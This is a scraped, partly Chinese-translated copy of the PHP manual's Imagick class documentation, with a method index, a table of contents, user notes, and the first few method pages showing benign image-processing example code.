Imagick::colorizeImage() | Imagick::getImageDepth() | Imagick::setImageDispose() |  | Imagick::pingImageFile()
Imagick::combineImages() | Imagick::getImageDispose() | Imagick::setImageDispose() |  | Imagick::pingImage()
Imagick::compareImageChannels() | Imagick::getImageDistortion() | Imagick::setImageExtent() |  | Imagick::previousImage()
Imagick::compareImageLayers() | Imagick::getImageExtrema() | Imagick::setImageFilename() |  | Imagick::profileImage()
Imagick::compositeImage() | Imagick::getImageFilename() | Imagick::setImageFormat() |  | Imagick::queryFormats()
Imagick::contrastImage() | Imagick::getImageFormat() | Imagick::setImageGamma() |  | Imagick::removeImageProfile()
Imagick::contrastStretchImage() | Imagick::getImageGamma() | Imagick::setImageGreenPrimary() |  | Imagick::removeImage()
Imagick::convolveImage() | Imagick::getImageGeometry() | Imagick::setImageIndex() |  | Imagick::setFirstIterator()
Imagick::cropImage() | Imagick::getImageGreenPrimary() | Imagick::setImageInterpolateMethod() |  | Imagick::setImageIndex()
Imagick::cycleColormapImage() | Imagick::getImageHeight() | Imagick::setImageIterations() |  | Imagick::valid()
Imagick::deconstructImages() | Imagick::getImageHistogram() | Imagick::setImageMatteColor() |  | Imagick::getCopyright()
Imagick::drawImage() | Imagick::getImageIndex() | Imagick::setImageMatte() |  |
Imagick::edgeImage() | Imagick::getImageInterlaceScheme() | Imagick::setImagePage() |  |
Imagick::embossImage() | Imagick::getImageInterpolateMethod() | Imagick::setImageProfile() |  |
Imagick::enhanceImage() | Imagick::getImageIterations() | Imagick::setImageProperty() |  |
Imagick::equalizeImage() | Imagick::getImageMatteColor() | Imagick::setImageRedPrimary() |  |
Imagick::evaluateImage() | Imagick::getImageMatte() | Imagick::setImageRenderingIntent() |  |
Imagick::flattenImages() | Imagick::getImagePage() | Imagick::setImageResolution() |  |
Imagick::flipImage() | Imagick::getImagePixelColor() | Imagick::setImageScene() |  |
Imagick::flopImage() | Imagick::getImageProfile() | Imagick::setImageTicksPerSecond() |  |
 | Imagick::getImageProperty() | Imagick::setImageType() |  |
Imagick::fxImage() | Imagick::getImageRedPrimary() | Imagick::setImageUnits() |  |
Imagick::gammaImage() | Imagick::getImageRegion() | Imagick::setImageVirtualPixelMethod() |  |
Imagick::gaussianBlurImage() | Imagick::getImageRenderingIntent() | Imagick::setImageWhitepoint() |  |
Imagick::implodeImage() | Imagick::getImageResolution() | Imagick::setInterlaceScheme() |  |
Imagick::levelImage() | Imagick::getImageScene() | Imagick::setOption() |  |
Imagick::linearStretchImage() | Imagick::getImageSignature() | Imagick::setPage() |  |
Imagick::magnifyImage() | Imagick::getImageTicksPerSecond() | Imagick::setResolution() |  |
Imagick::matteFloodFillImage() | Imagick::getImageTotalInkDensity() | Imagick::setResourceLimit() |  |
Imagick::medianFilterImage() | Imagick::getImageType() | Imagick::setSamplingFactors() |  |
Imagick::minifyImage() | Imagick::getImageUnits() | Imagick::setSizeOffset() |  |
Imagick::modulateImage() | Imagick::getImageVirtualPixelMethod() | Imagick::setSize() |  |
Imagick::montageImage() | Imagick::getImageWhitepoint() | Imagick::setType() |  |
Imagick::morphImages() | Imagick::getImageWidth() |  |  |
Imagick::mosaicImages() | Imagick::getImage() |  |  |
Imagick::motionBlurImage() | Imagick::getInterlaceScheme() |  |  |
Imagick::negateImage() | Imagick::getNumberImages() |  |  |
Imagick::normalizeImage() | Imagick::getOption() |  |  |
Imagick::oilPaintImage() | Imagick::getPackageName() |  |  |
Imagick::optimizeImageLayers() | Imagick::getPage() |  |  |
Imagick::paintOpaqueImage() | Imagick::getPixelIterator() |  |  |
Imagick::paintTransparentImage() | Imagick::getPixelRegionIterator() |  |  |
Imagick::posterizeImage() | Imagick::getQuantumDepth() |  |  |
Imagick::radialBlurImage() | Imagick::getQuantumRange() |  |  |
Imagick::raiseImage() | Imagick::getResourceLimit() |  |  |
Imagick::randomThresholdImage() | Imagick::getResource() |  |  |
Imagick::reduceNoiseImage() | Imagick::getSamplingFactors() |  |  |
Imagick::render() | Imagick::getSizeOffset() |  |  |
Imagick::resampleImage() | Imagick::getSize() |  |  |
Imagick::resizeImage() | Imagick::identifyImage() |  |  |
Imagick::rollImage() | Imagick::getImageSize() |  |  |
Imagick::rotateImage() |  |  |  |
Imagick::sampleImage() |  |  |  |
Imagick::scaleImage() |  |  |  |
Imagick::separateImageChannel() |  |  |  |
Imagick::sepiaToneImage() |  |  |  |
Imagick::shadeImage() |  |  |  |
Imagick::shadowImage() |  |  |  |
Imagick::sharpenImage() |  |  |  |
Imagick::shaveImage() |  |  |  |
Imagick::shearImage() |  |  |  |
Imagick::sigmoidalContrastImage() |  |  |  |
Imagick::sketchImage() |  |  |  |
Imagick::solarizeImage() |  |  |  |
Imagick::spliceImage() |  |  |  |
Imagick::spreadImage() |  |  |  |
Imagick::steganoImage() |  |  |  |
Imagick::stereoImage() |  |  |  |
Imagick::stripImage() |  |  |  |
Imagick::swirlImage() |  |  |  |
Imagick::textureImage() |  |  |  |
Imagick::thresholdImage() |  |  |  |
Imagick::thumbnailImage() |  |  |  |
Imagick::tintImage() |  |  |  |
Imagick::transverseImage() |  |  |  |
Imagick::trimImage() |  |  |  |
Imagick::uniqueImageColors() |  |  |  |
Imagick::unsharpMaskImage() |  |  |  |
Imagick::vignetteImage() |  |  |  |
Imagick::waveImage() |  |  |  |
Imagick::whiteThresholdImage() |  |  |  |

Table of Contents

  • Imagick::adaptiveBlurImage — Adds adaptive blur filter to image
  • Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation
  • Imagick::adaptiveSharpenImage — Adaptively sharpen the image
  • Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity
  • Imagick::addImage — Adds new image to Imagick object image list
  • Imagick::addNoiseImage — Adds random noise to the image
  • Imagick::affineTransformImage — Transforms an image
  • Imagick::animateImages — Animates an image or images
  • Imagick::annotateImage — Annotates an image with text
  • Imagick::appendImages — Append a set of images
  • Imagick::autoLevelImage — Adjusts the levels of a particular image channel
  • Imagick::averageImages — Average a set of images
  • Imagick::blackThresholdImage — Forces all pixels below the threshold into black
  • Imagick::blueShiftImage — Mutes the colors of the image
  • Imagick::blurImage — Adds blur filter to image
  • Imagick::borderImage — Surrounds the image with a border
  • Imagick::brightnessContrastImage — Change the brightness and/or contrast of an image
  • Imagick::charcoalImage — Simulates a charcoal drawing
  • Imagick::chopImage — Removes a region of an image and trims
  • Imagick::clampImage — Restricts the color range from 0 to the quantum depth.
  • Imagick::clear — Clears all resources associated to Imagick object
  • Imagick::clipImage — Clips along the first path from the 8BIM profile
  • Imagick::clipImagePath — Clips along the named paths from the 8BIM profile, if present
  • Imagick::clipPathImage — Clips along the named paths from the 8BIM profile
  • Imagick::clone — Makes an exact copy of the Imagick object
  • Imagick::clutImage — Replaces colors in the image
  • Imagick::coalesceImages — Composites a set of images
  • Imagick::colorFloodfillImage — Changes the color value of any pixel that matches target
  • Imagick::colorizeImage — Blends the fill color with the image
  • Imagick::colorMatrixImage — Apply color transformation to an image
  • Imagick::combineImages — Combines one or more images into a single image
  • Imagick::commentImage — Adds a comment to your image
  • Imagick::compareImageChannels — Returns the difference in one or more images
  • Imagick::compareImageLayers — Returns the maximum bounding region between images
  • Imagick::compareImages — Compares an image to a reconstructed image
  • Imagick::compositeImage — 把一张图合并到一张图
  • Imagick::__construct — The Imagick constructor
  • Imagick::contrastImage — Change the contrast of the image
  • Imagick::contrastStretchImage — Enhances the contrast of a color image
  • Imagick::convolveImage — Applies a custom convolution kernel to the image
  • Imagick::count — Get the number of images
  • Imagick::cropImage — 截图图片的一块区域
  • Imagick::cropThumbnailImage — 创建缩略图
  • Imagick::current — Returns a reference to the current Imagick object
  • Imagick::cycleColormapImage — Displaces an image's colormap
  • Imagick::decipherImage — Deciphers an image
  • Imagick::deconstructImages — Returns certain pixel differences between images
  • Imagick::deleteImageArtifact — Delete image artifact
  • Imagick::deleteImageProperty — Deletes an image property
  • Imagick::deskewImage — Removes skew from the image
  • Imagick::despeckleImage — Reduces the speckle noise in an image
  • Imagick::destroy — Destroys the Imagick object
  • Imagick::displayImage — Displays an image
  • Imagick::displayImages — Displays an image or image sequence
  • Imagick::distortImage — Distorts an image using various distortion methods
  • Imagick::drawImage — 把 ImagickDraw 对象渲染到当前图片上
  • Imagick::edgeImage — Enhance edges within the image
  • Imagick::embossImage — Returns a grayscale image with a three-dimensional effect
  • Imagick::encipherImage — Enciphers an image
  • Imagick::enhanceImage — Improves the quality of a noisy image
  • Imagick::equalizeImage — Equalizes the image histogram
  • Imagick::evaluateImage — Applies an expression to an image
  • Imagick::exportImagePixels — Exports raw image pixels
  • Imagick::extentImage — Set image size
  • Imagick::filter — Applies a custom convolution kernel to the image
  • Imagick::flattenImages — Merges a sequence of images
  • Imagick::flipImage — Creates a vertical mirror image
  • Imagick::floodFillPaintImage — Changes the color value of any pixel that matches target
  • Imagick::flopImage — Creates a horizontal mirror image
  • Imagick::forwardFourierTransformImage — Implements the discrete Fourier transform (DFT)
  • Imagick::frameImage — Adds a simulated three-dimensional border
  • Imagick::functionImage — Applies a function on the image
  • Imagick::fxImage — Evaluate expression for each pixel in the image
  • Imagick::gammaImage — Gamma-corrects an image
  • Imagick::gaussianBlurImage — Blurs an image
  • Imagick::getColorspace — Gets the colorspace
  • Imagick::getCompression — Gets the object compression type
  • Imagick::getCompressionQuality — Gets the object compression quality
  • Imagick::getCopyright — Returns the ImageMagick API copyright as a string
  • Imagick::getFilename — The filename associated with an image sequence
  • Imagick::getFont — Gets font
  • Imagick::getFormat — Returns the format of the Imagick object
  • Imagick::getGravity — Gets the gravity
  • Imagick::getHomeURL — Returns the ImageMagick home URL
  • Imagick::getImage — Returns a new Imagick object
  • Imagick::getImageAlphaChannel — 检查图像是否有 alpha 通道
  • Imagick::getImageArtifact — Get image artifact
  • Imagick::getImageAttribute — Returns a named attribute
  • Imagick::getImageBackgroundColor — Returns the image background color
  • Imagick::getImageBlob — Returns the image sequence as a blob
  • Imagick::getImageBluePrimary — Returns the chromaticy blue primary point
  • Imagick::getImageBorderColor — Returns the image border color
  • Imagick::getImageChannelDepth — Gets the depth for a particular image channel
  • Imagick::getImageChannelDistortion — Compares image channels of an image to a reconstructed image
  • Imagick::getImageChannelDistortions — Gets channel distortions
  • Imagick::getImageChannelExtrema — Gets the extrema for one or more image channels
  • Imagick::getImageChannelKurtosis — The getImageChannelKurtosis purpose
  • Imagick::getImageChannelMean — Gets the mean and standard deviation
  • Imagick::getImageChannelRange — Gets channel range
  • Imagick::getImageChannelStatistics — Returns statistics for each channel in the image
  • Imagick::getImageClipMask — Gets image clip mask
  • Imagick::getImageColormapColor — Returns the color of the specified colormap index
  • Imagick::getImageColors — Gets the number of unique colors in the image
  • Imagick::getImageColorspace — Gets the image colorspace
  • Imagick::getImageCompose — Returns the composite operator associated with the image
  • Imagick::getImageCompression — Gets the current image's compression type
  • Imagick::getImageCompressionQuality — Gets the current image's compression quality
  • Imagick::getImageDelay — Gets the image delay
  • Imagick::getImageDepth — Gets the image depth
  • Imagick::getImageDispose — Gets the image disposal method
  • Imagick::getImageDistortion — Compares an image to a reconstructed image
  • Imagick::getImageExtrema — Gets the extrema for the image
  • Imagick::getImageFilename — Returns the filename of a particular image in a sequence
  • Imagick::getImageFormat — Returns the format of a particular image in a sequence
  • Imagick::getImageGamma — Gets the image gamma
  • Imagick::getImageGeometry — Gets the width and height as an associative array
  • Imagick::getImageGravity — Gets the image gravity
  • Imagick::getImageGreenPrimary — Returns the chromaticy green primary point
  • Imagick::getImageHeight — Returns the image height
  • Imagick::getImageHistogram — Gets the image histogram
  • Imagick::getImageIndex — Gets the index of the current active image
  • Imagick::getImageInterlaceScheme — Gets the image interlace scheme
  • Imagick::getImageInterpolateMethod — Returns the interpolation method
  • Imagick::getImageIterations — Gets the image iterations
  • Imagick::getImageLength — Returns the image length in bytes
  • Imagick::getImageMatte — Return if the image has a matte channel
  • Imagick::getImageMatteColor — Returns the image matte color
  • Imagick::getImageMimeType — Returns the image mime-type
  • Imagick::getImageOrientation — Gets the image orientation
  • Imagick::getImagePage — Returns the page geometry
  • Imagick::getImagePixelColor — Returns the color of the specified pixel
  • Imagick::getImageProfile — Returns the named image profile
  • Imagick::getImageProfiles — Returns the image profiles
  • Imagick::getImageProperties — Returns the image properties
  • Imagick::getImageProperty — Returns the named image property
  • Imagick::getImageRedPrimary — Returns the chromaticity red primary point
  • Imagick::getImageRegion — Extracts a region of the image
  • Imagick::getImageRenderingIntent — Gets the image rendering intent
  • Imagick::getImageResolution — 获取图像的x,y轴分辨率
  • Imagick::getImagesBlob — Returns all image sequences as a blob
  • Imagick::getImageScene — Gets the image scene
  • Imagick::getImageSignature — Generates an SHA-256 message digest
  • Imagick::getImageSize — Returns the image length in bytes
  • Imagick::getImageTicksPerSecond — Gets the image ticks-per-second
  • Imagick::getImageTotalInkDensity — Gets the image total ink density
  • Imagick::getImageType — Gets the potential image type
  • Imagick::getImageUnits — 获取图像的分辨率单位
  • Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method
  • Imagick::getImageWhitePoint — Returns the chromaticity white point
  • Imagick::getImageWidth — Returns the image width
  • Imagick::getInterlaceScheme — Gets the object interlace scheme
  • Imagick::getIteratorIndex — Gets the index of the current active image
  • Imagick::getNumberImages — Returns the number of images in the object
  • Imagick::getOption — Returns a value associated with the specified key
  • Imagick::getPackageName — Returns the ImageMagick package name
  • Imagick::getPage — Returns the page geometry
  • Imagick::getPixelIterator — Returns a MagickPixelIterator
  • Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section
  • Imagick::getPointSize — Gets point size
  • Imagick::getQuantum — Returns the ImageMagick quantum range
  • Imagick::getQuantumDepth — Gets the quantum depth
  • Imagick::getQuantumRange — Returns the Imagick quantum range
  • Imagick::getRegistry — Get a StringRegistry entry
  • Imagick::getReleaseDate — Returns the ImageMagick release date
  • Imagick::getResource — Returns the specified resource's memory usage
  • Imagick::getResourceLimit — Returns the specified resource limit
  • Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor
  • Imagick::getSize — Returns the size associated with the Imagick object
  • Imagick::getSizeOffset — Returns the size offset
  • Imagick::getVersion — Returns the ImageMagick API version
  • Imagick::haldClutImage — Replaces colors in the image
  • Imagick::hasNextImage — Checks if the object has more images
  • Imagick::hasPreviousImage — Checks if the object has a previous image
  • Imagick::identifyFormat — Formats a string with image details
  • Imagick::identifyImage — Identifies an image and fetches attributes
  • Imagick::implodeImage — Creates a new image as a copy
  • Imagick::importImagePixels — Imports image pixels
  • Imagick::inverseFourierTransformImage — Implements the inverse discrete Fourier transform (DFT)
  • Imagick::labelImage — Adds a label to an image
  • Imagick::levelImage — Adjusts the levels of an image
  • Imagick::linearStretchImage — Stretches with saturation the image intensity
  • Imagick::liquidRescaleImage — Animates an image or images
  • Imagick::listRegistry — List all the registry settings
  • Imagick::magnifyImage — Scales an image proportionally 2x
  • Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image
  • Imagick::matteFloodfillImage — Changes the transparency value of a color
  • Imagick::medianFilterImage — Applies a digital filter
  • Imagick::mergeImageLayers — Merges image layers
  • Imagick::minifyImage — Scales an image proportionally to half its size
  • Imagick::modulateImage — Control the brightness, saturation, and hue
  • Imagick::montageImage — Creates a composite image
  • Imagick::morphImages — Method morphs a set of images
  • Imagick::morphology — Applies a user supplied kernel to the image according to the given morphology method.
  • Imagick::mosaicImages — Forms a mosaic from images
  • Imagick::motionBlurImage — Simulates motion blur
  • Imagick::negateImage — Negates the colors in the reference image
  • Imagick::newImage — 创建一张图片
  • Imagick::newPseudoImage — Creates a new image
  • Imagick::nextImage — Moves to the next image
  • Imagick::normalizeImage — Enhances the contrast of a color image
  • Imagick::oilPaintImage — Simulates an oil painting
  • Imagick::opaquePaintImage — Changes the color value of any pixel that matches target
  • Imagick::optimizeImageLayers — Removes repeated portions of images to optimize
  • Imagick::orderedPosterizeImage — Performs an ordered dither
  • Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target
  • Imagick::paintOpaqueImage — Change any pixel that matches color
  • Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill
  • Imagick::pingImage — Fetch basic attributes about the image
  • Imagick::pingImageBlob — Quickly fetch attributes
  • Imagick::pingImageFile — Get basic image attributes in a lightweight manner
  • Imagick::polaroidImage — Simulates a Polaroid picture
  • Imagick::posterizeImage — Reduces the image to a limited number of color level
  • Imagick::previewImages — Quickly pin-point appropriate parameters for image processing
  • Imagick::previousImage — Move to the previous image in the object
  • Imagick::profileImage — Adds or removes a profile from an image
  • Imagick::quantizeImage — Analyzes the colors within a reference image
  • Imagick::quantizeImages — Analyzes the colors within a sequence of images
  • Imagick::queryFontMetrics — Returns an array representing the font metrics
  • Imagick::queryFonts — Returns the configured fonts
  • Imagick::queryFormats — Returns formats supported by Imagick
  • Imagick::radialBlurImage — Radial blurs an image
  • Imagick::raiseImage — Creates a simulated 3d button-like effect
  • Imagick::randomThresholdImage — Creates a high-contrast, two-color image
  • Imagick::readImage — Reads image from filename
  • Imagick::readImageBlob — 从二进制字符串里读取图片
  • Imagick::readImageFile — Reads image from open filehandle
  • Imagick::readimages — Reads image from an array of filenames
  • Imagick::recolorImage — Recolors image
  • Imagick::reduceNoiseImage — Smooths the contours of an image
  • Imagick::remapImage — Remaps image colors
  • Imagick::removeImage — Removes an image from the image list
  • Imagick::removeImageProfile — Removes the named image profile and returns it
  • Imagick::render — Renders all preceding drawing commands
  • Imagick::resampleImage — Resample image to desired resolution
  • Imagick::resetImagePage — Reset image page
  • Imagick::resizeImage — Scales an image
  • Imagick::rollImage — Offsets an image
  • Imagick::rotateImage — Rotates an image
  • Imagick::rotationalBlurImage — Rotational blurs an image
  • Imagick::roundCorners — Rounds image corners
  • Imagick::sampleImage — Scales an image with pixel sampling
  • Imagick::scaleImage — Scales the size of an image
  • Imagick::segmentImage — Segments an image
  • Imagick::selectiveBlurImage — Selectively blur an image within a contrast threshold
  • Imagick::separateImageChannel — Separates a channel from the image
  • Imagick::sepiaToneImage — Sepia tones an image
  • Imagick::setBackgroundColor — Sets the object's default background color
  • Imagick::setColorspace — Set colorspace
  • Imagick::setCompression — Sets the object's default compression type
  • Imagick::setCompressionQuality — Sets the object's default compression quality
  • Imagick::setFilename — Sets the filename before you read or write the image
  • Imagick::setFirstIterator — Sets the Imagick iterator to the first image
  • Imagick::setFont — Sets font
  • Imagick::setFormat — Sets the format of the Imagick object
  • Imagick::setGravity — Sets the gravity
  • Imagick::setImage — Replaces image in the object
  • Imagick::setImageAlphaChannel — Sets image alpha channel
  • Imagick::setImageArtifact — Set image artifact
  • Imagick::setImageAttribute — Sets an image attribute
  • Imagick::setImageBackgroundColor — Sets the image background color
  • Imagick::setImageBias — Sets the image bias for any method that convolves an image
  • Imagick::setImageBiasQuantum — Sets the image bias
  • Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point
  • Imagick::setImageBorderColor — Sets the image border color
  • Imagick::setImageChannelDepth — Sets the depth of a particular image channel
  • Imagick::setImageClipMask — Sets image clip mask
  • Imagick::setImageColormapColor — Sets the color of the specified colormap index
  • Imagick::setImageColorspace — Sets the image colorspace
  • Imagick::setImageCompose — Sets the image composite operator
  • Imagick::setImageCompression — 设置图片压缩的类型
  • Imagick::setImageCompressionQuality — 设置图片压缩的质量
  • Imagick::setImageDelay — Sets the image delay
  • Imagick::setImageDepth — Sets the image depth
  • Imagick::setImageDispose — Sets the image disposal method
  • Imagick::setImageExtent — Sets the image size
  • Imagick::setImageFilename — Sets the filename of a particular image
  • Imagick::setImageFormat — 为图片设置指定的格式
  • Imagick::setImageGamma — Sets the image gamma
  • Imagick::setImageGravity — Sets the image gravity
  • Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point
  • Imagick::setImageIndex — Set the iterator position
  • Imagick::setImageInterlaceScheme — Sets the image compression
  • Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method
  • Imagick::setImageIterations — Sets the image iterations
  • Imagick::setImageMatte — Sets the image matte channel
  • Imagick::setImageMatteColor — Sets the image matte color
  • Imagick::setImageOpacity — Sets the image opacity level
  • Imagick::setImageOrientation — Sets the image orientation
  • Imagick::setImagePage — Sets the page geometry of the image
  • Imagick::setImageProfile — Adds a named profile to the Imagick object
  • Imagick::setImageProperty — Sets an image property
  • Imagick::setImageRedPrimary — Sets the image chromaticity red primary point
  • Imagick::setImageRenderingIntent — Sets the image rendering intent
  • Imagick::setImageResolution — Sets the image resolution
  • Imagick::setImageScene — Sets the image scene
  • Imagick::setImageTicksPerSecond — Sets the image ticks-per-second
  • Imagick::setImageType — Sets the image type
  • Imagick::setImageUnits — Sets the image units of resolution
  • Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method
  • Imagick::setImageWhitePoint — Sets the image chromaticity white point
  • Imagick::setInterlaceScheme — Sets the image compression
  • Imagick::setIteratorIndex — Set the iterator position
  • Imagick::setLastIterator — Sets the Imagick iterator to the last image
  • Imagick::setOption — Set an option
  • Imagick::setPage — Sets the page geometry of the Imagick object
  • Imagick::setPointSize — Sets point size
  • Imagick::setProgressMonitor — Set a callback to be called during processing
  • Imagick::setRegistry — Sets the ImageMagick registry entry named key to value
  • Imagick::setResolution — Sets the image resolution
  • Imagick::setResourceLimit — Sets the limit for a particular resource
  • Imagick::setSamplingFactors — Sets the image sampling factors
  • Imagick::setSize — Sets the size of the Imagick object
  • Imagick::setSizeOffset — Sets the size and offset of the Imagick object
  • Imagick::setType — Sets the image type attribute
  • Imagick::shadeImage — Creates a 3D effect
  • Imagick::shadowImage — Simulates an image shadow
  • Imagick::sharpenImage — Sharpens an image
  • Imagick::shaveImage — Shaves pixels from the image edges
  • Imagick::shearImage — Creating a parallelogram
  • Imagick::sigmoidalContrastImage — Adjusts the contrast of an image
  • Imagick::sketchImage — Simulates a pencil sketch
  • Imagick::smushImages — Takes all images from the current image pointer to the end of the image list and smushs them
  • Imagick::solarizeImage — Applies a solarizing effect to the image
  • Imagick::sparseColorImage — Interpolates colors
  • Imagick::spliceImage — Splices a solid color into the image
  • Imagick::spreadImage — Randomly displaces each pixel in a block
  • Imagick::statisticImage — Modifies image using a statistics function
  • Imagick::steganoImage — Hides a digital watermark within the image
  • Imagick::stereoImage — Composites two images
  • Imagick::stripImage — 去掉图片的所有配置和设置
  • Imagick::subImageMatch — Searches for a subimage in the current image and returns a similarity image
  • Imagick::swirlImage — Swirls the pixels about the center of the image
  • Imagick::textureImage — Repeatedly tiles the texture image
  • Imagick::thresholdImage — Changes the value of individual pixels based on a threshold
  • Imagick::thumbnailImage — Changes the size of an image
  • Imagick::tintImage — Applies a color vector to each pixel in the image
  • Imagick::__toString — Returns the image as a string
  • Imagick::transformImage — Convenience method for setting crop size and the image geometry
  • Imagick::transformImageColorspace — Transforms an image to a new colorspace
  • Imagick::transparentPaintImage — Paints pixels transparent
  • Imagick::transposeImage — Creates a vertical mirror image
  • Imagick::transverseImage — Creates a horizontal mirror image
  • Imagick::trimImage — Remove edges from the image
  • Imagick::uniqueImageColors — Discards all but one of any pixel color
  • Imagick::unsharpMaskImage — Sharpens an image
  • Imagick::valid — Checks if the current item is valid
  • Imagick::vignetteImage — Adds vignette filter to the image
  • Imagick::waveImage — Applies wave filter to the image
  • Imagick::whiteThresholdImage — Force all pixels above the threshold into white
  • Imagick::writeImage — 把图片写入指定的文件
  • Imagick::writeImageFile — Writes an image to a filehandle
  • Imagick::writeImages — Writes an image or image sequence
  • Imagick::writeImagesFile — Writes frames to a filehandle

User Contributed Notes

benkuhl at gmail dot com 24-Jan-2013 07:52
When using this library with PDFs, the term "image" applies to a page where the pointer begins at the last page of the document.

<?php

$document = new Imagick('myPdf.pdf'); //2 page PDF

$document->getNumberImages(); //returns 2

var_dump($document->hasNextImage()); //returns false - remember, we're on the last page
var_dump($document->hasPreviousImage()); //returns true

?>

If you need to do more than generate thumbnails from a PDF, use XPDF: http://www.foolabs.com/xpdf/home.html
php at mattjanssen dot com 21-Dec-2010 12:39
You can find the documentation for all of these magick_wand--the interface Imagic seems to be built on--functions at http://www.graphicsmagick.org/wand/magick_wand.html
StealthFox at live dot com 23-Oct-2008 07:15
Users looking to save  with these functions should know it can be done easily, for example

<?php
header ("Content-Type: image/{$Imagick->getImageFormat()}");
$data = $Imagick->getImageBlob ();
echo $data;
file_put_contents ('test.png', $data);
?>

That would display the image, and then save it to test.png. Such things are helpful especially when you need to reload images after creating them or save for later. :)


Adds adaptive blur filter to image

  • ? Imagick
  • Imagick::adaptiveResizeImage ?
  • PHP Manual
  • Imagick
  • Adds adaptive blur filter to image

Imagick::adaptiveBlurImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveBlurImage — Adds adaptive blur filter to image

说明

public Imagick::adaptiveBlurImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Adds an adaptive blur filter to image. The intensity of an adaptive blur depends is dramatically decreased at edge of the image, whereas a standard blur is uniform across the image. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel. Provide a value of 0 and the radius will be chosen automagically.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::adaptiveBlurImage():

Adaptively blur an image, then display to the browser.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->adaptiveBlurImage(5,3);
echo $image;

?>

以上示例的输出类似于：

Output of example : Using Imagick::adaptiveBlurImage()

参见

  • Imagick::blurImage() - Adds blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

michael at dodwell dot us 28-Aug-2014 12:59
Be aware that this function is extremely CPU intensive.


Adaptively resize image with data dependent triangulation

  • ? Imagick::adaptiveBlurImage
  • Imagick::adaptiveSharpenImage ?
  • PHP Manual
  • Imagick
  • Adaptively resize image with data dependent triangulation

Imagick::adaptiveResizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation

说明

public Imagick::adaptiveResizeImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $legacy = false
): bool

Adaptively resize image with data-dependent triangulation. Avoids blurring across sharp color changes. Most useful when used to shrink images slightly to a slightly smaller "web size"; may not look good when a full-sized image is adaptively resized to a thumbnail. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

Note: 参数 bestfit 的特性在 Imagick 3.0.0 中已改变。在此版本以前，当目标尺寸设为 400x400 时，原尺寸为 200x150 的图像将不会被改变。自 Imagick 3.0.0 起，源图像将会被放大到 400x300 因为这将更好的适合目标尺寸。当使用参数 bestfit 时，必须同时给出宽度和高度。

参数

columns

The number of columns in the scaled image.

rows

The number of rows in the scaled image.

bestfit

Whether to fit the image inside a bounding box.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Added optional fit parameter.
PECL imagick 2.1.0 | This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

示例

Example #1 Using Imagick::adaptiveResizeImage()

Resize an image to a standard size for the web. This method works best when resizing to a size only slightly smaller than the previous image size.

<?php
header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');
$image->adaptiveResizeImage(1024,768);

echo $image;
?>

参见

  • Imagick::chopImage() - Removes a region of an image and trims
  • Imagick::cropImage() - 截图图片的一块区域
  • Imagick::magnifyImage() - Scales an image proportionally 2x
  • Imagick::minifyImage() - Scales an image proportionally to half its size
  • Imagick::resizeImage() - Scales an image
  • Imagick::scaleImage() - Scales the size of an image
  • Imagick::shaveImage() - Shaves pixels from the image edges
  • Imagick::thumbnailImage() - Changes the size of an image
  • Imagick::trimImage() - Remove edges from the image

User Contributed Notes

There are no user contributed notes for this page.


Adaptively sharpen the image

  • ? Imagick::adaptiveResizeImage
  • Imagick::adaptiveThresholdImage ?
  • PHP Manual
  • Imagick
  • Adaptively sharpen the image

Imagick::adaptiveSharpenImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveSharpenImage — Adaptively sharpen the image

说明

public Imagick::adaptiveSharpenImage(float $radius, float $sigma, int $channel = Imagick::CHANNEL_DEFAULT): bool

Adaptively sharpen the image by sharpening more intensely near image edges and less intensely far from edges. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

radius

The radius of the Gaussian, in pixels, not counting the center pixel. Use 0 for auto-select.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

示例

Example #1 A Imagick::adaptiveSharpenImage() example

Adaptively sharpen the image with radius 2 and sigma 1.

<?php
try {
$image = new Imagick('image.png');
$image->adaptiveSharpenImage(2,1);
} catch(ImagickException $e) {
echo 'Error: ' , $e->getMessage();
die();
}
header('Content-type: image/png');
echo $image;
?>

参见

  • Imagick::sharpenImage() - Sharpens an image

User Contributed Notes

There are no user contributed notes for this page.


Selects a threshold for each pixel based on a range of intensity

  • ? Imagick::adaptiveSharpenImage
  • Imagick::addImage ?
  • PHP Manual
  • Imagick
  • Selects a threshold for each pixel based on a range of intensity

Imagick::adaptiveThresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity

说明

public Imagick::adaptiveThresholdImage(int $width, int $height, int $offset): bool

